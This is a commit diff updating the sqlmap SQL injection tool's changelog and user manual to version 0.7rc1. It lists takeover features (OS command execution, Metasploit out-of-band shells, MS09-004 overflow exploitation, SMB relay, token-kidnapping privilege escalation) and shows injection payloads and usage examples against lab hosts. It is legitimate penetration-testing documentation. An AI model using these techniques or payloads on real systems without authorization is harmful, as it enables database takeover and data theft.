Updated to sqlmap 0.7 release candidate 1

This commit is contained in:
Bernardo Damele 2009-04-22 11:48:07 +00:00
parent b997df740a
commit 8c0ac767f4
129 changed files with 8386 additions and 1388 deletions

View File

@ -1,7 +1,3 @@
Bernardo Damele A. G. (inquis) - project leader, core developer
Bernardo Damele A. G. (inquis) - Lead developer
<bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F
Daniele Bellucci (belch) - project founder, initial developer
<daniele.bellucci@gmail.com>
PGP Key ID: 0x9A0E8190

View File

@ -1,10 +1,34 @@
sqlmap (0.6.5-1) stable; urgency=low
sqlmap (0.7rc1-1) stable; urgency=low
* Added support to execute arbitrary commands on the database server
underlying operating system either returning the standard output or not
via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
procedure on Microsoft SQL Server;
* Added support for out-of-band connection between the attacker box and
the database server underlying operating system via stand-alone payload
stager created by Metasploit and supporting Meterpreter, shell and VNC
payloads for both Windows and Linux;
* Added support for out-of-band connection via Microsoft SQL Server 2000
and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
overflow (MS09-004) exploitation with multi-stage Metasploit payload
support;
* Added support for out-of-band connection via SMB reflection attack with
UNC path request from the database server to the attacker box by using
the Metasploit smb_relay exploit;
* Added support to read and write (upload) both text and binary files on
the database server underlying file system for MySQL, PostgreSQL and
Microsoft SQL Server;
* Added database process' user privilege escalation via Windows Access
Tokens kidnapping on MySQL and Microsoft SQL Server via either
Meterpreter's incognito extension or Churrasco stand-alone executable;
* Speed up the inference algorithm by providing the minimum required
charset for the query output;
* Major bug fix in the comparison algorithm to correctly handle also the
case that the url is stable and the False response changes the page
content very little.
content very little;
* Many minor bug fixes, minor enhancements and layout adjustments.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 HH:MM:SS +0000
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Wed, 22 Apr 2009 10:30:00 +0000
sqlmap (0.6.4-1) stable; urgency=low

View File

@ -8,7 +8,7 @@
<H1>sqlmap user's manual</H1>
<H2>by
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.4, 3rd of February 2009
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.7 release candidate 1, April 22, 2009
<HR>
<EM>This document is the user's manual to use
<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
@ -27,6 +27,11 @@ for the latest version.</EM>
<P>
<H2><A NAME="toc2">2.</A> <A HREF="README.html#s2">Features</A></H2>
<UL>
<LI><A NAME="toc2.1">2.1</A> <A HREF="README.html#ss2.1">Generic features</A>
<LI><A NAME="toc2.2">2.2</A> <A HREF="README.html#ss2.2">Enumeration features</A>
<LI><A NAME="toc2.3">2.3</A> <A HREF="README.html#ss2.3">Takeover features</A>
</UL>
<P>
<H2><A NAME="toc3">3.</A> <A HREF="README.html#s3">Download and update</A></H2>
@ -52,7 +57,7 @@ for the latest version.</EM>
<H2><A NAME="toc6">6.</A> <A HREF="README.html#s6">Disclaimer</A></H2>
<P>
<H2><A NAME="toc7">7.</A> <A HREF="README.html#s7">Authors</A></H2>
<H2><A NAME="toc7">7.</A> <A HREF="README.html#s7">Author</A></H2>
<HR>
@ -66,8 +71,12 @@ in web applications. Once it detects one or more SQL injections on the
target host, the user can choose among a variety of options to perform an
extensive back-end database management system fingerprint, retrieve DBMS
session user and database, enumerate users, password hashes, privileges,
databases, dump entire or user's specific DBMS tables/columns, run his own
SQL statement, read specific files on the file system and more.</P>
databases, dump entire or user's specified DBMS tables/columns, run his own
SQL statement, read or write either text or binary files on the file
system, execute arbitrary commands on the operating system, establish an
out-of-band stateful connection between the attacker box and the database
server via Metasploit payload stager, database stored procedure buffer
overflow exploitation or SMB relay attack and more.</P>
<H2><A NAME="ss1.1">1.1</A> <A HREF="#toc1.1">Requirements</A>
@ -77,7 +86,7 @@ SQL statement, read specific files on the file system and more.</P>
<A HREF="http://www.python.org">Python</A>,
a dynamic object-oriented interpreted programming language.
This makes the tool independent from the operating system since it only
requires the Python interpreter version equal or above to 2.4.
requires the Python interpreter version equal or above to <B>2.5</B>.
The interpreter is freely downloadable from its
<A HREF="http://python.org/download/">official site</A>.
To make it even easier, many GNU/Linux distributions come out of the box
@ -85,6 +94,11 @@ with Python interpreter package installed and other Unices and MacOS X
too provide it packaged in their formats and ready to be installed.
Windows users can download and install the Python setup-ready installer
for x86, AMD64 and Itanium too.</P>
<P>sqlmap relies on the
<A HREF="http://metasploit.com/framework/">Metasploit Framework</A> for some of its post-exploitation takeover
functionalities. You need to grab a copy of it from the
<A HREF="http://metasploit.com/framework/download/">download</A>
page. The required version is <B>3.2</B> or above.</P>
<P>Optionally, if you are running sqlmap on Windows, you may wish to install
<A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A>
library to be able to take advantage of the sqlmap TAB completion and
@ -187,10 +201,11 @@ in the following section to go ahead with the exploiting.</LI>
vulnerability:</P>
<P>
<UL>
<LI><B>Inferential blind SQL injection</B>: sqlmap appends to the
affected parameter in the HTTP request, a syntatically valid SQL statement
string containing a <CODE>SELECT</CODE> sub-statement, or any other SQL
statement whose the user want to retrieve the output.
<LI><B>Inferential blind SQL injection</B>, also known as <B>boolean
based blind SQL injection</B>: sqlmap appends to the affected parameter in
the HTTP request, a syntatically valid SQL statement string containing a
<CODE>SELECT</CODE> sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
@ -198,21 +213,22 @@ The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.</LI>
<LI><B>UNION query (inband) SQL injection</B>, also known as <B>Full
<LI><B>UNION query (inband) SQL injection</B>, also known as <B>full
UNION query SQL injection</B>: sqlmap appends to the affected parameter
in the HTTP request, a syntatically valid SQL statement string starting
with a <CODE>UNION ALL SELECT</CODE>. This techique is useful if the web
application page passes the output of the <CODE>SELECT</CODE> statement to a
<CODE>for</CODE> cycle, or similar, so that each line of the query output is
printed on the page content.
sqlmap is also able to exploit <B>Partial UNION query SQL injection</B>
vulnerabilities which occur when the output of the statement is not cycled
in a for construct whereas only the first entry output is displayed.
sqlmap is also able to exploit <B>partial (single entry) UNION query SQL
injection</B> vulnerabilities which occur when the output of the statement
is not cycled in a for construct whereas only the first entry output is
displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.</LI>
<LI><B>Stacked queries support</B>, also known as <B>multiple
<LI><B>Batched (stacked) queries support</B>, also known as <B>multiple
statements support</B>: sqlmap tests if the web application supports
stacked queries then, in case it does support, it appends to the affected
parameter in the HTTP request, a semi-colon (<CODE>;</CODE>) followed by the
@ -229,6 +245,11 @@ and the session user privileges.</LI>
<H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
<P>Major features implemented in sqlmap include:</P>
<H2><A NAME="ss2.1">2.1</A> <A HREF="#toc2.1">Generic features</A>
</H2>
<P>
<UL>
<LI>Full support for <B>MySQL</B>, <B>Oracle</B>, <B>PostgreSQL</B>
@ -238,31 +259,8 @@ identify Microsoft Access, DB2, Informix, Sybase and Interbase.
</LI>
<LI>Full support for three SQL injection techniques: <B> inferential
blind SQL injection</B>, <B>UNION query (inband) SQL injection</B> and
<B>stacked queries (multiple statements) support</B>. sqlmap can also
test for <B>time based blind SQL injection</B>.
</LI>
<LI><B>Extensive back-end database management system fingerprint</B>
based upon
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">inband error messages</A>,
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">banner parsing</A>,
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">functions output comparison</A> and
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">specific features</A>
such as MySQL comment injection. It is also possible to force the back-end
database management system name if you already know it. sqlmap is also able
to fingerprint the web server operating system, the web application
technology and, in some circumstances, the back-end DBMS operating system.
</LI>
<LI>Options to retrieve on all four back-end database management system
<B>banner</B>, <B>current user</B>, <B>current database</B>,
enumerate <B>users</B>, <B>users password hashes</B>, <B>users
privileges</B>, <B>databases</B>, <B>tables</B>, <B>columns</B>,
dump <B>tables entries</B>, dump <B>whole database management
system</B> and run your <B>own SQL statement</B>.
</LI>
<LI>If the back-end database management system is MySQL it is also
possible to <B>read a specific file content</B> from the ile system and,
in some circumstances, <B>prompt for an interactive operating system
shell</B> with TAB completion and history support.
<B>batched queries support</B>. sqlmap can also test for <B>time based
blind SQL injection</B>.
</LI>
<LI>It is possible to provide a single target URL, get the list of
targets from
@ -331,10 +329,6 @@ save command line options on a configuration INI file.
<A HREF="http://metasploit.com/framework/">Metasploit</A> and
<A HREF="http://w3af.sourceforge.net/">w3af</A>.
</LI>
<LI><B>File system</B> read and write access and <B>operating
system</B> command execution by providing own queries, depending on the
session user privileges and back-end DBMS.
</LI>
<LI><B>PHP setting <CODE>magic_quotes_gpc</CODE> bypass</B> by encoding
every query string, between single quotes, with <CODE>CHAR</CODE>, or similar,
database management system function.</LI>
@ -342,32 +336,101 @@ database management system function.</LI>
</P>
<H2><A NAME="ss2.2">2.2</A> <A HREF="#toc2.2">Enumeration features</A>
</H2>
<P>
<UL>
<LI><B>Extensive back-end database management system software and
underlying operating system fingerprint</B>
based upon
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">inband error messages</A>,
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">banner parsing</A>,
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">functions output comparison</A> and
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">specific features</A>
such as MySQL comment injection. It is also possible to force the back-end
database management system name if you already know it. sqlmap is also able
to fingerprint the web server operating system, the web application
technology and, in some circumstances, the back-end DBMS operating system.
</LI>
<LI>Basic web server software and web application technology fingerprint.
</LI>
<LI>Support to retrieve on all four back-end database management system
<B>banner</B>, <B>current user</B>, <B>current database</B>, check
if the current user is a database administrator, enumerate <B>users</B>,
<B>users password hashes</B>, <B>users privileges</B>,
<B>databases</B>, <B>tables</B>, <B>columns</B>, dump <B>tables
entries</B>, dump <B>whole database management system</B> and run user's
<B>own SQL statement</B>.</LI>
</UL>
</P>
<H2><A NAME="ss2.3">2.3</A> <A HREF="#toc2.3">Takeover features</A>
</H2>
<P>
<UL>
<LI>Support to <B>read either text or binary files</B> from the
database server underlying file system when the database software is MySQL,
PostgreSQL and Microsoft SQL Server.
</LI>
<LI>Support to <B>execute arbitrary commands</B> on the database server
underlying operating system when the database software is MySQL,
PostgreSQL via user-defined function injection and Microsoft SQL Server via
<CODE>xp_cmdshell()</CODE> stored procedure.
</LI>
<LI>Support to <B>establish an out-of-band stateful connection between
the attacker box and the database server</B> underlying operating system
via:
<UL>
<LI><B>Stand-alone payload stager</B> created by Metasploit and
supporting Meterpreter, shell and VNC payloads for both Windows and Linux;</LI>
<LI><B>Microsoft SQL Server 2000 and 2005 <CODE>sp_replwritetovarbin</CODE>
stored procedure heap-based buffer overflow</B> (MS09-004) exploitation
with multi-stage Metasploit payload support;</LI>
<LI><B>SMB reflection attack</B> with UNC path request from the
database server to the attacker box by using the Metasploit
<CODE>smb_relay</CODE> exploit on the attacker box.</LI>
</UL>
</LI>
<LI>Support for <B>database process' user privilege escalation</B> via
Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via
either Meterpreter's <CODE>incognito</CODE> extension or <CODE>Churrasco</CODE>
stand-alone executable.</LI>
</UL>
</P>
<H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
<P><B>sqlmap 0.7 release candidate 1</B> version can be downloaded as a
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz">source gzip compressed</A> file or as a
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip">source zip compressed</A> file.</P>
<P>sqlmap can be downloaded from its
<A HREF="http://sourceforge.net/project/showfiles.php?group_id=171598&amp;package_id=196107">SourceForge File List page</A>.
It is available in various formats:</P>
<P>
<UL>
<LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.gz">Source gzip compressed</A> operating system independent.
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz">Source gzip compressed</A> operating system independent.
</LI>
<LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.bz2">Source bzip2 compressed</A> operating system independent.
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.bz2">Source bzip2 compressed</A> operating system independent.
</LI>
<LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.zip">Source zip compressed</A> operating system independent.
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip">Source zip compressed</A> operating system independent.
</LI>
<LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.4-1_all.deb">DEB binary package</A> architecture independent for Debian and any
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.7rc1-1_all.deb">DEB binary package</A> architecture independent for Debian and any
other Debian derivated GNU/Linux distribution.
</LI>
<LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
other operating system that can install RPM packages.
</LI>
<LI>
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
interpreter</B> to be installed on the operating system.</LI>
</UL>
</P>
@ -405,8 +468,8 @@ and
<PRE>
$ python sqlmap.py -h
sqlmap/0.6.4 coded by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com>
and Daniele Bellucci &lt;daniele.bellucci@gmail.com>
sqlmap/0.7rc1
by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com>
Usage: sqlmap.py [options]
@ -427,19 +490,20 @@ Options:
Request:
These options can be used to specify how to connect to the target url.
--method=METHOD HTTP method, GET or POST (default: GET)
--method=METHOD HTTP method, GET or POST (default GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--referer=REFERER HTTP Referer header
--user-agent=AGENT HTTP User-Agent header
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--headers=HEADERS Extra HTTP headers '\n' separated
--auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
--auth-cred=ACRED HTTP Authentication credentials, value: name:password
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (value Basic or Digest)
--auth-cred=ACRED HTTP Authentication credentials (value name:password)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
Injection:
These options can be used to specify which parameters to test for,
@ -448,13 +512,13 @@ Options:
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before calculating page hash
--excl-reg=EREGEXP Regexp matches to be excluded before calculating page
hash
--excl-str=ESTRING String to be excluded before comparing page contents
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
Techniques:
These options can be used to test for specific SQL injection technique
@ -463,6 +527,7 @@ Options:
--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-test Test for UNION query (inband) SQL injection
--union-tech=UTECH Technique to test for UNION query SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve
@ -481,13 +546,13 @@ Options:
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes (opt: -U)
--privileges Enumerate DBMS users privileges (opt: -U)
--passwords Enumerate DBMS users password hashes (opt -U)
--privileges Enumerate DBMS users privileges (opt -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt: -D)
--columns Enumerate DBMS database table columns (req:-T opt:-D)
--dump Dump DBMS database table entries (req: -T, opt: -D,
-C, --start, --stop)
--tables Enumerate DBMS database tables (opt -D)
--columns Enumerate DBMS database table columns (req -T opt -D)
--dump Dump DBMS database table entries (req -T, opt -D, -C,
--start, --stop)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
@ -501,28 +566,32 @@ Options:
File system access:
These options can be used to access the back-end database management
system file system taking advantage of native DBMS functions or
specific DBMS design weaknesses.
system underlying file system.
--read-file=RFILE Read a specific OS file content (only on MySQL)
--write-file=WFILE Write to a specific OS file (not yet available)
--read-file=RFILE Read a file from the back-end DBMS file system
--write-file=WFILE Write a local file on the back-end DBMS file system
--dest-file=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
This option can be used to access the back-end database management
system operating system taking advantage of specific DBMS design
weaknesses.
system underlying operating system.
--os-shell Prompt for an interactive OS shell (only on PHP/MySQL
environment with a writable directory within the web
server document root for the moment)
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc User priv escalation by abusing Windows access tokens
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Miscellaneous:
--eta Retrieve each query output length and calculate the
estimated time of arrival in real time
--eta Display for each output the estimated time of arrival
--update Update sqlmap to the latest stable version
-s SESSIONFILE Save and resume all data retrieved on a session file
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
</PRE>
</CODE></BLOCKQUOTE>
</P>
@ -624,7 +693,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:55] [INFO] testing MySQL
@ -637,7 +706,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</PRE>
@ -659,7 +728,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
@ -680,7 +749,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</PRE>
@ -702,7 +771,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
@ -730,7 +799,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
@ -1041,7 +1110,7 @@ Host: 192.168.1.125:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close
@ -1057,7 +1126,7 @@ Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@ -1109,7 +1178,7 @@ Accept-language: en-us,en;q=0.5
Referer: http://www.google.com
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</PRE>
@ -1126,7 +1195,7 @@ Connection: close
<P>
<BLOCKQUOTE><CODE>
<PRE>
sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
</PRE>
</CODE></BLOCKQUOTE>
</P>
@ -1248,7 +1317,7 @@ Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@ -1269,7 +1338,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication"
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</PRE>
@ -1384,6 +1453,14 @@ the HTTP request timed out. The valid value is a float, for instance
10.5 means ten seconds and a half.</P>
<H3>Maximum number of retries when the HTTP connection timeouts</H3>
<P>Option: <CODE>--retries</CODE></P>
<P>It is possible to specify the maximum number of retries when the HTTP
connection timeouts. By default it retries up to three times.</P>
<H2><A NAME="ss5.4">5.4</A> <A HREF="#toc5.4">Injection</A>
</H2>
@ -1442,7 +1519,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;ca
<BLOCKQUOTE><CODE>
<PRE>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
-p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
@ -1526,6 +1603,30 @@ back-end database management system. If you do not know it, let sqlmap
automatically identify it for you.</P>
<H3>Force the database management system operating system name</H3>
<P>Option: <CODE>--os</CODE></P>
<P>By default sqlmap automatically detects the web application's back-end
database manangement system underlying operating system when requested by
any other functionality.
At the moment the fully supported operating systems are two:</P>
<P>
<UL>
<LI>Linux</LI>
<LI>Windows</LI>
</UL>
</P>
<P>It is possible to force the operating system name if you already know it so
that sqlmap will skip the fingerprint.</P>
<P>Note that this option is <B>not</B> mandatory and it is strongly
recommended to use it <B>only if you are absolutely sure</B> about the
back-end database management system underlying operating system. If you do
not know it, let sqlmap automatically identify it for you.</P>
<H3>Custom injection payload</H3>
<P>Options: <CODE>--prefix</CODE> and <CODE>--postfix</CODE></P>
@ -1556,7 +1657,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
@ -1633,7 +1734,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@ -1655,7 +1756,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1677,7 +1778,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1888,9 +1989,9 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=
<H3>Test for time based blind SQL injection</H3>
<P>Option: <CODE>--time-test</CODE></P>
<P>Options: <CODE>--time-test</CODE> and <CODE>--time-sec</CODE></P>
<P>It is possible to test if the target URL is affected by a <B>Time based
<P>It is possible to test if the target URL is affected by a <B>time based
blind SQL injection</B> vulnerability.</P>
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
@ -1959,6 +2060,10 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';
</CODE></BLOCKQUOTE>
</P>
<P>It is also possible to set the seconds to delay the response by providing
the <CODE>--time-sec</CODE> option followed by an integer. By default it delays
five seconds.</P>
<H3>Test for UNION query SQL injection</H3>
@ -2104,7 +2209,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
@ -3215,7 +3320,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
</PRE>
@ -3269,7 +3374,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull |
+----+----------------------------------------------+-------------------+
@ -3282,7 +3387,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
"4","sqlmap/0.6.4 (http://sqlmap.sourceforge.net)","user agent header"
"4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
</PRE>
</CODE></BLOCKQUOTE>
@ -3312,7 +3417,7 @@ Table: users
+----+----------------------------------------------+-------------------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
